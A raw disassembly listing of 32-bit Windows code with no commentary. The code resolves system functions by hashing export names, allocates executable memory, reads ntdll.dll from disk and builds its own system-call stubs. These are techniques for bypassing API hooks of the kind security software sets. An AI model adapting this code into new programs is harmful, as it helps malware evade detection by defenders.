mov eax, dword [0x102b2e30]
test eax, eax
jne 0x1014ebdb
push eax
push 8
mov dword [ebp - 0x6b8], 0x224
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x6b8]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1014eaff
lea eax, [ebp - 0x6b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x1014eaff
nop
lea eax, [ebp - 0x698]
push eax
lea ecx, [ebp - 0x48]
call fcn.100400e0
mov byte [ebp - 4], 0x59
lea eax, [ebp - 0xd7c]
push eax
lea ecx, [ebp - 0x48]
call fcn.10082650
lea ecx, [ebp - 0x48]
mov edi, dword [eax]
lea eax, [ebp - 0xd8c]
push eax
call fcn.10082630
lea ecx, [ebp - 0x48]
mov esi, dword [eax]
lea eax, [ebp - 0xd88]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xd84]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x48]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, 0xa62a3b3b
je 0x1014eb19
mov byte [ebp - 4], 0x5d
lea ecx, [ebp - 0x48]
call fcn.100403e0
mov byte [ebp - 4], 0x56
lea eax, [ebp - 0x48]
mov dword [ebp - 0xd64], eax
mov byte [ebp - 4], 0x56
lea eax, [ebp - 0x6b8]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1014ea50
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1014eb4a
xor eax, eax
jmp 0x1014ebd6
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0x69c]
mov byte [ebp - 4], 0x5a
lea ecx, [ebp - 0x48]
call fcn.100403e0
mov byte [ebp - 4], 0x56
lea eax, [ebp - 0x48]
mov dword [ebp - 0xd64], eax
mov byte [ebp - 4], 0x56
jmp 0x1014eb08
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x1014eb5a
xor eax, eax
jmp 0x1014ebd6
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0x448], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x1014ebb4
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, 0xca67b978
je 0x1014ebae
mov eax, dword [ebp - 0xd30]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x1014eb83
jmp 0x1014ebb4
mov dword [ebp - 0x448], esi
mov esi, dword [ebp - 0x448]
cmp esi, dword [ecx + 0x14]
jbe 0x1014ebc3
xor eax, eax
jmp 0x1014ebd6
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov dword [0x102b2e30], eax
push 0x40
push 0x3000
lea ecx, [ebp - 0x14]
push ecx
push 0
push 0x102b1f0c
push 0xffffffffffffffff
call eax
mov eax, dword [0x102b2e28]
mov ecx, dword [0x102b2e24]
sub eax, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b1f10]
test eax, eax
jne 0x1014ee13
mov edx, 0x811c9dc5
mov ecx, str.Wow64Transition
call fcn.100644d0
mov edx, 0x811c9dc5
mov dword [ebp - 0xd2c], eax
mov ecx, str.win32u.dll
call fcn.100644d0
push 0
push 8
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0x8dc], 0x224
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x8dc]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1014ed30
lea eax, [ebp - 0x8dc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x1014ed30
lea eax, [ebp - 0x8bc]
push eax
lea ecx, [ebp - 0x60]
call fcn.100400e0
mov byte [ebp - 4], 0x60
lea eax, [ebp - 0xd64]
push eax
lea ecx, [ebp - 0x60]
call fcn.10082650
lea ecx, [ebp - 0x60]
mov edi, dword [eax]
lea eax, [ebp - 0xd90]
push eax
call fcn.10082630
lea ecx, [ebp - 0x60]
mov esi, dword [eax]
lea eax, [ebp - 0xd94]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xd98]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x60]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, dword [ebp - 0xd30]
je 0x1014ed4a
mov byte [ebp - 4], 0x64
lea ecx, [ebp - 0x60]
call fcn.100403e0
mov byte [ebp - 4], 0x56
lea eax, [ebp - 0x60]
mov dword [ebp - 0xd68], eax
mov byte [ebp - 4], 0x56
lea eax, [ebp - 0x8dc]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1014ec80
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1014ed7b
xor eax, eax
jmp 0x1014ee08
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0x8c0]
mov byte [ebp - 4], 0x61
lea ecx, [ebp - 0x60]
call fcn.100403e0
mov byte [ebp - 4], 0x56
lea eax, [ebp - 0x60]
mov dword [ebp - 0xd68], eax
mov byte [ebp - 4], 0x56
jmp 0x1014ed39
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x1014ed8b
xor eax, eax
jmp 0x1014ee08
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0x448], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x1014ede6
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, dword [ebp - 0xd2c]
je 0x1014ede0
mov eax, dword [ebp - 0xd30]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x1014edb4
jmp 0x1014ede6
mov dword [ebp - 0x448], esi
mov esi, dword [ebp - 0x448]
cmp esi, dword [ecx + 0x14]
jbe 0x1014edf5
xor eax, eax
jmp 0x1014ee08
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov ecx, dword [0x102b2e24]
mov dword [0x102b1f10], eax
mov dword [ecx + 2], eax
push dword [ebp - 0x14]
push dword [0x102b2e24]
push dword [0x102b1f0c]
call fcn.10171890
mov eax, dword [0x102b2df4]
add esp, 0xc
sub eax, dword [0x102b2df0]
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b2e30]
mov dword [ebp - 0x44c], 0
test eax, eax
jne 0x1014f02b
push eax
push 8
mov dword [ebp - 0xb00], 0x224
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0xb00]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1014ef4f
lea eax, [ebp - 0xb00]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x1014ef4f
nop dword [eax]
lea eax, [ebp - 0xae0]
push eax
lea ecx, [ebp - 0x78]
call fcn.100400e0
mov byte [ebp - 4], 0x67
lea eax, [ebp - 0xd68]
push eax
lea ecx, [ebp - 0x78]
call fcn.10082650
lea ecx, [ebp - 0x78]
mov edi, dword [eax]
lea eax, [ebp - 0xd9c]
push eax
call fcn.10082630
lea ecx, [ebp - 0x78]
mov esi, dword [eax]
lea eax, [ebp - 0xda0]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xda8]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x78]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, 0xa62a3b3b
je 0x1014ef69
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0x78]
call fcn.100403e0
mov byte [ebp - 4], 0x56
lea eax, [ebp - 0x78]
mov dword [ebp - 0xd6c], eax
mov byte [ebp - 4], 0x56
lea eax, [ebp - 0xb00]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1014eea0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1014ef9a
xor eax, eax
jmp 0x1014f026
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0xae4]
mov byte [ebp - 4], 0x68
lea ecx, [ebp - 0x78]
call fcn.100403e0
mov byte [ebp - 4], 0x56
lea eax, [ebp - 0x78]
mov dword [ebp - 0xd6c], eax
mov byte [ebp - 4], 0x56
jmp 0x1014ef58
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x1014efaa
xor eax, eax
jmp 0x1014f026
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0x448], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x1014f004
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, 0xca67b978
je 0x1014effe
mov eax, dword [ebp - 0xd30]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x1014efd3
jmp 0x1014f004
mov dword [ebp - 0x448], esi
mov esi, dword [ebp - 0x448]
cmp esi, dword [ecx + 0x14]
jbe 0x1014f013
xor eax, eax
jmp 0x1014f026
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov dword [0x102b2e30], eax
push 0x40
push 0x3000
lea ecx, [ebp - 0x14]
push ecx
push 0
lea ecx, [ebp - 0x44c]
push ecx
push 0xffffffffffffffff
call eax
mov eax, dword [0x102b2df4]
mov ecx, dword [0x102b2df0]
sub eax, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b1f0c]
mov dword [ecx + 6], eax
push dword [ebp - 0x14]
push dword [0x102b2df0]
push dword [ebp - 0x44c]
call fcn.10171890
mov ecx, dword [ebp - 0x44c]
add esp, 0xc
mov eax, dword [0x102b2e34]
mov dword [0x102b1f08], ecx
mov dword [0x102b2de8], ecx
mov dword [ebp - 4], 0xffffffff
jmp 0x1014f098
mov ecx, dword [0x102b2de8]
test al, 2
jne 0x1014f6b9
or eax, 2
mov dword [0x102b2e34], eax
mov dword [ebp - 4], 0x6e
xorps xmm0, xmm0
push str.C:WindowsSysWOW64_ntdll.dll
lea ecx, [ebp - 0xa8]
movlpd qword [ebp - 0xd34], xmm0
call fcn.100400e0
mov byte [ebp - 4], 0x6f
lea eax, [ebp - 0xd6c]
push eax
lea ecx, [ebp - 0xa8]
call fcn.10082630
lea ecx, [ebp - 0xa8]
mov esi, dword [eax]
lea eax, [ebp - 0xda4]
push eax
call fcn.10082650
lea ecx, [ebp - 0xd5a]
push ecx
push esi
push dword [eax]
lea ecx, [ebp - 0xc0]
call fcn.10150ca0
mov byte [ebp - 4], 0x70
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0x460], 0x10
call fcn.101253b0
mov edi, dword [sym.imp.WINTRUST.dll_WinVerifyTrust]
mov dword [ebp - 0x45c], eax
lea eax, [ebp - 0x460]
mov dword [ebp - 0x47c], eax
lea eax, [ebp - 0x494]
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x458], 0
push eax
push 0
mov dword [ebp - 0x454], 0
mov dword [ebp - 0x24], 0xaac56b
mov dword [ebp - 0x20], 0x11d0cd44
mov dword [ebp - 0x1c], 0xc000c28c
mov dword [ebp - 0x18], 0xee95c24f
mov dword [ebp - 0x46c], 0
mov dword [ebp - 0x464], 0
mov dword [ebp - 0x494], 0x34
mov dword [ebp - 0x490], 0
mov dword [ebp - 0x48c], 0
mov dword [ebp - 0x488], 2
mov dword [ebp - 0x484], 0
mov dword [ebp - 0x480], 1
mov dword [ebp - 0x478], 1
mov dword [ebp - 0x474], 0
mov dword [ebp - 0x470], 0
mov dword [ebp - 0x468], 0
call edi
mov esi, eax
mov dword [ebp - 0x478], 2
lea eax, [ebp - 0x494]
push eax
lea eax, [ebp - 0x24]
push eax
push 0
call edi
mov byte [ebp - 4], 0x71
lea ecx, [ebp - 0xc0]
call fcn.10082670
mov byte [ebp - 4], 0x6f
lea eax, [ebp - 0xc0]
mov dword [ebp - 0xd70], eax
mov byte [ebp - 4], 0x74
lea ecx, [ebp - 0xa8]
call fcn.100403e0
mov byte [ebp - 4], 0x6e
lea eax, [ebp - 0xa8]
mov dword [ebp - 0xd78], eax
mov byte [ebp - 4], 0x6e
test esi, esi
jne 0x1014f694
push 0xb8
lea eax, [ebp - 0x178]
push esi
push eax
call fcn.10171fe0
add esp, 0xc
lea ecx, [ebp - 0x178]
push 1
push 0x40
push 0x24
push str.C:WindowsSysWOW64_ntdll.dll
call fcn.1004d850
mov byte [ebp - 4], 0x77
lea eax, [ebp - 0xdc4]
push eax
lea ecx, [ebp - 0x178]
call fcn.1013fbd0
push 0
push 0
push 0
mov esi, dword [eax + 8]
lea ecx, [ebp - 0x178]
add esi, dword [eax]
call fcn.1013fcf0
xorps xmm0, xmm0
mov dword [ebp - 0x28], 0
movq qword [ebp - 0x30], xmm0
lea ecx, [ebp - 0x30]
push esi
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
call fcn.10150ee0
mov byte [ebp - 4], 0x78
lea ecx, [ebp - 0x178]
push 0
push esi
push dword [ebp - 0x30]
call fcn.1013fe40
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x1014f63e
mov eax, dword [ebp - 0x30]
mov ecx, 0x5a4d
mov dword [ebp - 0xd38], eax
cmp word [eax], cx
je 0x1014f32d
xor eax, eax
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd70], ax
mov edi, dword [ebp - 0xd70]
jmp 0x1014f64a
mov esi, dword [eax + 0x3c]
add esi, eax
mov dword [ebp - 0xd40], esi
cmp dword [esi], 0x4550
je 0x1014f35b
xor eax, eax
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd70], ax
mov edi, dword [ebp - 0xd70]
jmp 0x1014f64a
mov edi, dword [esi + 0x78]
test edi, edi
je 0x1014f3ae
movzx ecx, word [esi + 0x14]
xor edx, edx
movzx eax, word [esi + 6]
add ecx, 0x18
add ecx, esi
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1014f3a4
nop dword [eax + eax]
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1014f396
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x1014f39e
mov eax, dword [ebp - 0xd30]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1014f380
mov esi, dword [ebp - 0xd40]
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
add eax, edi
jmp 0x1014f3b0
mov eax, edi
mov ecx, dword [ebp - 0xd38]
add eax, ecx
mov dword [ebp - 0xd3c], eax
mov edi, dword [eax + 0x20]
test edi, edi
je 0x1014f40e
movzx ecx, word [esi + 0x14]
xor edx, edx
movzx eax, word [esi + 6]
add ecx, 0x18
add ecx, esi
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1014f3fe
nop
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1014f3f6
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x1014f3fe
mov eax, dword [ebp - 0xd30]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1014f3e0
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0xd38]
add eax, edi
jmp 0x1014f410
mov eax, edi
add eax, ecx
mov dword [ebp - 0x448], 0xffffffff
mov ecx, dword [ebp - 0xd3c]
xor esi, esi
mov dword [ebp - 0xd2c], eax
mov dword [ebp - 0xd28], esi
cmp dword [ecx + 0x14], esi
jbe 0x1014f4d3
nop dword [eax]
mov edi, dword [eax + esi*4]
test edi, edi
je 0x1014f494
mov edx, dword [ebp - 0xd40]
xor esi, esi
movzx eax, word [edx + 0x14]
lea ecx, [edx + 0x18]
add ecx, eax
movzx eax, word [edx + 6]
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1014f484
mov edx, dword [ecx + 0xc]
cmp edi, edx
jb 0x1014f47c
mov eax, dword [ecx + 8]
add eax, edx
cmp edi, eax
jb 0x1014f484
mov eax, dword [ebp - 0xd30]
inc esi
add ecx, 0x28
cmp esi, eax
jb 0x1014f466
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov esi, dword [ebp - 0xd28]
add eax, edi
jmp 0x1014f496
xor eax, eax
mov ecx, dword [ebp - 0xd38]
mov edx, 0x811c9dc5
add ecx, eax
call fcn.100644d0
cmp eax, 0xea61d9e4
je 0x1014f4cd
mov eax, dword [ebp - 0xd3c]
inc esi
mov dword [ebp - 0xd28], esi
cmp esi, dword [eax + 0x14]
mov eax, dword [ebp - 0xd2c]
jb 0x1014f440
jmp 0x1014f4d3
mov dword [ebp - 0x448], esi
mov eax, dword [ebp - 0xd3c]
mov ecx, dword [ebp - 0x448]
cmp ecx, dword [eax + 0x14]
jbe 0x1014f4ff
xor eax, eax
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd70], ax
mov edi, dword [ebp - 0xd70]
jmp 0x1014f64a
mov edi, dword [eax + 0x24]
test edi, edi
je 0x1014f54d
mov esi, dword [ebp - 0xd40]
xor edx, edx
movzx eax, word [esi + 0x14]
lea ecx, [esi + 0x18]
add ecx, eax
movzx eax, word [esi + 6]
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1014f543
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1014f53b
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x1014f543
mov eax, dword [ebp - 0xd30]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1014f525
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
add eax, edi
jmp 0x1014f54f
mov eax, edi
mov ecx, dword [ebp - 0xd38]
add eax, ecx
mov dword [ebp - 0xd2c], eax
mov eax, dword [ebp - 0xd3c]
mov edi, dword [eax + 0x1c]
test edi, edi
je 0x1014f5be
mov esi, dword [ebp - 0xd40]
xor edx, edx
movzx eax, word [esi + 0x14]
lea ecx, [esi + 0x18]
add ecx, eax
movzx eax, word [esi + 6]
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1014f5ae
nop dword [eax]
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1014f5a6
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x1014f5ae
mov eax, dword [ebp - 0xd30]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1014f590
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
mov ecx, dword [ebp - 0xd38]
add eax, edi
jmp 0x1014f5c0
mov eax, edi
mov edx, dword [ebp - 0x448]
add ecx, eax
mov eax, dword [ebp - 0xd2c]
movzx eax, word [eax + edx*2]
mov edi, dword [ecx + eax*4]
test edi, edi
je 0x1014f620
mov esi, dword [ebp - 0xd40]
xor edx, edx
movzx eax, word [esi + 0x14]
lea ecx, [esi + 0x18]
add ecx, eax
movzx eax, word [esi + 6]
mov dword [ebp - 0xd30], eax
test eax, eax
je 0x1014f616
mov esi, dword [ecx + 0xc]
cmp edi, esi
jb 0x1014f60e
mov eax, dword [ecx + 8]
add eax, esi
cmp edi, eax
jb 0x1014f616
mov eax, dword [ebp - 0xd30]
inc edx
add ecx, 0x28
cmp edx, eax
jb 0x1014f5f8
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0xc]
add eax, edi
jmp 0x1014f622
mov eax, edi
add eax, dword [ebp - 0xd38]
mov esi, dword [eax + 1]
movzx eax, word [eax + 0xd]
mov word [ebp - 0xd70], ax
mov edi, dword [ebp - 0xd70]
jmp 0x1014f64a
mov edi, dword [ebp - 0xd30]
mov esi, dword [ebp - 0xd34]
mov byte [ebp - 4], 0x77
lea ecx, [ebp - 0x30]
call fcn.100583a0
mov byte [ebp - 4], 0x6e
lea ecx, [ebp - 0x108]
call fcn.10043d80
lea eax, [ebp - 0x108]
mov dword [ebp - method.std::basic_ios_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 0xd70], eax
mov byte [ebp - 4], 0x6e
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.1016e78d
add esp, 4
jmp 0x1014f6a0
mov edi, dword [ebp - 0xd30]
mov esi, dword [ebp - 0xd34]
mov dword [0x102b2e04], esi
mov dword [0x102b2e08], edi
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [0x102b2de8]
mov eax, dword [ecx + 6]
mov eax, dword [eax + 2]
mov dword [ebp - 0xd60], eax
mov eax, dword [0x102b1f10]
test eax, eax
jne 0x1014f913
mov edx, 0x811c9dc5
mov ecx, str.Wow64Transition
call fcn.100644d0
mov edx, 0x811c9dc5
mov dword [ebp - 0xd2c], eax
mov ecx, str.win32u.dll
call fcn.100644d0
push 0
push 8
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0xd24], 0x224
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0xd24]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1014f821
lea eax, [ebp - 0xd24]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x1014f821
nop dword [eax]
nop dword [eax + eax]
lea eax, [ebp - 0xd04]
push eax
lea ecx, [ebp - 0x90]
call fcn.100400e0
mov dword [ebp - 4], 0x7a
lea eax, [ebp - 0xd70]
push eax
lea ecx, [ebp - 0x90]
call fcn.10082650
lea ecx, [ebp - 0x90]
mov edi, dword [eax]
lea eax, [ebp - 0xd78]
push eax
call fcn.10082630
lea ecx, [ebp - 0x90]
mov esi, dword [eax]
lea eax, [ebp - 0xd3c]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xd38]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x90]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, dword [ebp - 0xd30]
je 0x1014f83b
mov dword [ebp - 4], 0x7e
lea ecx, [ebp - 0x90]
call fcn.100403e0
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x90]
mov dword [ebp - 0x448], eax
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0xd24]
mov esi, dword [ebp - 0xd28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x1014f750
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov eax, 0x5a4d
cmp word [edi], ax
je 0x1014f87b
xor eax, eax
jmp 0x1014f908
push dword [ebp - 0xd28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0xd08]
mov dword [ebp - 4], 0x7b
lea ecx, [ebp - 0x90]
call fcn.100403e0
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x90]
mov dword [ebp - 0xd30], eax
mov dword [ebp - 4], 0xffffffff
jmp 0x1014f82a
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi], 0x4550
je 0x1014f88b
xor eax, eax
jmp 0x1014f908
mov ecx, dword [eax + edi + 0x78]
xor esi, esi
mov eax, dword [ecx + edi + 0x20]
add ecx, edi
add eax, edi
mov dword [ebp - 0xd28], ecx
mov dword [ebp - 0xd30], eax
mov dword [ebp - 0x448], 0xffffffff
cmp dword [ecx + 0x14], esi
jbe 0x1014f8e6
mov ecx, dword [eax + esi*4]
mov edx, 0x811c9dc5
lea ecx, [ecx + edi]
call fcn.100644d0
mov ecx, dword [ebp - 0xd28]
cmp eax, dword [ebp - 0xd2c]
je 0x1014f8e0
mov eax, dword [ebp - 0xd30]
inc esi
cmp esi, dword [ecx + 0x14]
jb 0x1014f8b4
jmp 0x1014f8e6
mov dword [ebp - 0x448], esi
mov esi, dword [ebp - 0x448]
cmp esi, dword [ecx + 0x14]
jbe 0x1014f8f5
xor eax, eax
jmp 0x1014f908
mov edx, dword [ecx + 0x24]
mov ecx, dword [ecx + 0x1c]
add edx, edi
add ecx, edi
movzx eax, word [edx + esi*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov ecx, dword [0x102b2de8]
mov dword [0x102b1f10], eax
cmp dword [ebp - 0xd60], eax
je 0x1014f91f
xor ecx, ecx
jmp 0x1014f931
mov eax, dword [0x102b2e04]
mov dword [ecx + 1], eax
movzx eax, word [0x102b2e08]
mov dword [ecx + 0xd], eax
lea eax, [ebp - 0x444]
push eax
push dword [ebp - 0x450]
call ecx
mov eax, dword [0x102b2e1c]
test al, 1
jne 0x1015012f
or eax, 1
mov dword [0x102b2e1c], eax
mov dword [ebp - 4], 0x81
mov ecx, dword [0x102b2e20]
test cl, 1
jne 0x1014f9d7
or ecx, 1
mov dword [0x102b2e20], ecx
mov byte [ebp - 4], 0x82
lea eax, [ebp - 0xd5b]
push eax
lea edx, [ebp - 0xd42]
mov dword [0x102b2e2c], 0
push edx
xorps xmm0, xmm0
mov dword [ebp - 0xd48], 0x25ff
lea esi, [ebp - 0xd48]
movq qword [0x102b2e24], xmm0
push esi
mov ecx, 0x102b2e24
mov word [ebp - 0xd44], 0
call fcn.10150a40
push 0x101c1270
call fcn.10170081
add esp, 4
mov byte [ebp - 4], 0x81
mov ecx, dword [0x102b2e20]
mov eax, dword [0x102b2e1c]
test cl, 2
jne 0x1014fa65
or ecx, 2
mov dword [0x102b2e20], ecx
mov byte [ebp - 4], 0x83
lea eax, [ebp - 0xd59]
push eax
lea edx, [ebp - 0xd49]
mov dword [0x102b2df8], 0
push edx
xorps xmm0, xmm0
mov dword [ebp - 0xd58], 0xb8
lea esi, [ebp - 0xd58]
movq qword [0x102b2df0], xmm0
push esi
mov ecx, 0x102b2df0
mov dword [ebp - 0xd54], 0xba00
mov dword [ebp - 0xd50], 0xd2ff0000
mov word [ebp - 0xd4c], 0xc2
mov byte [ebp - 0xd4a], 0
call fcn.10150a40
push 0x101c1260
call fcn.10170081
add esp, 4
mov byte [ebp - 4], 0x81
mov eax, dword [0x102b2e1c]
mov ecx, dword [0x102b1f08]
test ecx, ecx
jne 0x10150120
mov eax, dword [0x102b2e28]
sub eax, dword [0x102b2e24]
mov dword [ebp - 0x14], eax
mov eax, dword [0x102b2e30]
test eax, eax
jne 0x1014fc68
push eax
push 8
mov dword [ebp - 0x6b8], 0x224
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x6b8]
push eax
push esi
mov dword [ebp - 0xd28], esi
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x1014fb84
lea eax, [ebp - 0x6b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x1014fb84
lea eax, [ebp - 0x698]
push eax
lea ecx, [ebp - 0x48]
call fcn.100400e0
mov byte [ebp - 4], 0x84
lea eax, [ebp - 0xd7c]
push eax
lea ecx, [ebp - 0x48]
call fcn.10082650
lea ecx, [ebp - 0x48]
mov edi, dword [eax]
lea eax, [ebp - 0xd8c]
push eax
call fcn.10082630
lea ecx, [ebp - 0x48]
mov esi, dword [eax]
lea eax, [ebp - 0xd88]
push eax
call fcn.10082650
push edi
push esi
mov edx, fcn.10180cc4
lea ecx, [ebp - 0xd84]
push dword [eax]
call fcn.100ba480
add esp, 0xc
lea ecx, [ebp - 0x48]
call fcn.10045600
mov edx, 0x811c9dc5
mov ecx, eax
call fcn.100644d0
cmp eax, 0xa62a3b3b
je 0x1014fb9e
mov byte [ebp - 4], 0x88
lea ecx, [ebp - 0x48]
call fcn.100403e0
mov byte [ebp - 4], 0x81
lea eax, [ebp - 0x48]
